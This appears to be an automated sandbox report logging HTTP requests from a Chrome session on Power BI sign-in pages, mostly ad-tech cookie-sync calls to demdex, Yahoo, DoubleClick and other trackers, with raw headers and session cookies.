Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: dmpsync.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=4240010146205305120735; tluid=4240010146205305120735
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=49276&dpuuid=1cf5471e-1c91-4f43-a449-3d4c1092e0c5 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862
Source: global traffic	HTTP traffic detected: GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=73055362422130141231731046285304492740&gdpr=0&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /13.0.24766.39/images/PowerBI_MasterLogo.svg HTTP/1.1Host: app.powerbi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: objectReferer: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ASP.NET_SessionId=atf0i4t5etcyq2i340ttcexe; WFESessionId=26e1d7ea-3eef-4bcf-a967-58997f878d73; EnableCSP=PROD; ARRAffinity=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5; ARRAffinitySameSite=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5; ai_user=o5cQa8z2An5ZoAilmE6KwC\|2024-12-11T20:04:57.280Z; ai_session=/OE2jSDqDCHiTifK8YyjGK\|1733947497283\|1733947497283
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=57282&dpuuid=DA64BD7F4A54ECC10B04C10302DB7F70 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=72352&dpuuid=4240010146205305120735&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=49276&dpuuid=1cf5471e-1c91-4f43-a449-3d4c1092e0c5 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841
Source: global traffic	HTTP traffic detected: GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=73055362422130141231731046285304492740&gdpr=0&gdpr_consent=&uid=73055362422130141231731046285304492740&verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBGzwWWcCEKHm9vppHJ-b4mJTUdc0KTQFEgEBAQFBW2djZ9xH0iMA_eMAAA&S=AQAAAj7Lo7fZUfSubSAixL8Mrdo
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=53196&dpuuid=Q7872338991644961529 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: app.powerbi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ASP.NET_SessionId=atf0i4t5etcyq2i340ttcexe; WFESessionId=26e1d7ea-3eef-4bcf-a967-58997f878d73; EnableCSP=PROD; ARRAffinity=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5; ARRAffinitySameSite=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5; ai_user=o5cQa8z2An5ZoAilmE6KwC\|2024-12-11T20:04:57.280Z; ai_session=/OE2jSDqDCHiTifK8YyjGK\|1733947497283\|1733947497283
Source: global traffic	HTTP traffic detected: GET /dv/sync?tid=6 HTTP/1.1Host: ag.innovid.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /CookieSyncAdobe HTTP/1.1Host: rtb.adentifi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=72352&dpuuid=4240010146205305120735&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885
Source: global traffic	HTTP traffic detected: GET /map/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=73055362422130141231731046285304492740?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=30646?dpuuid=y-lL3wz65E2pGJowlkGUOp8E_RxmOvQqHRiKE-~A HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=53196&dpuuid=Q7872338991644961529 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885\|144231-1-1733947502851
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=80742&dpuuid=54ebdcdd-7f37-496c-b3a7-5eebaea296ef HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885\|144231-1-1733947502851
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: app.powerbi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ARRAffinity=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5; ARRAffinitySameSite=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5; ai_user=o5cQa8z2An5ZoAilmE6KwC\|2024-12-11T20:04:57.280Z; ai_session=/OE2jSDqDCHiTifK8YyjGK\|1733947497283\|1733947497283
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WjFud1dRQUFBRVZ0NEFPNQ== HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkZCdtS2558hvrmZNLIDsqE_77kXEO06q-qT8VtnvTU8u7xMytXnVkk2sEu4yg
Source: global traffic	HTTP traffic detected: GET /map/ct=y/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=73055362422130141231731046285304492740?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cc_cc=ctst
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=30646?dpuuid=y-lL3wz65E2pGJowlkGUOp8E_RxmOvQqHRiKE-~A HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885\|144231-1-1733947502851\|144232-1-1733947503851
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885\|144231-1-1733947502851\|144232-1-1733947503851\|144233-1-1733947504852
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=80742&dpuuid=54ebdcdd-7f37-496c-b3a7-5eebaea296ef HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862\|121998-1-1733947498843\|144228-1-1733947499841\|144229-1-1733947500841\|144230-1-1733947501885\|144231-1-1733947502851\|144232-1-1733947503851\|144233-1-1733947504852
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=158&code=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=DjTMefN4idmASI1ol2i1Q-2NZ6_TyfuhyyNNo4eWd-nlGNx0OMp-qdGYO0B1SX31gifbrYQZ484-SCei49K6H94uVIl3NMMOUKYX417VaOE.; receive-cookie-deprecation=1; uuid2=6423475379254820486
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=121998&dpuuid=e4b4aa4595001beb4c16f00fed61c5db HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; 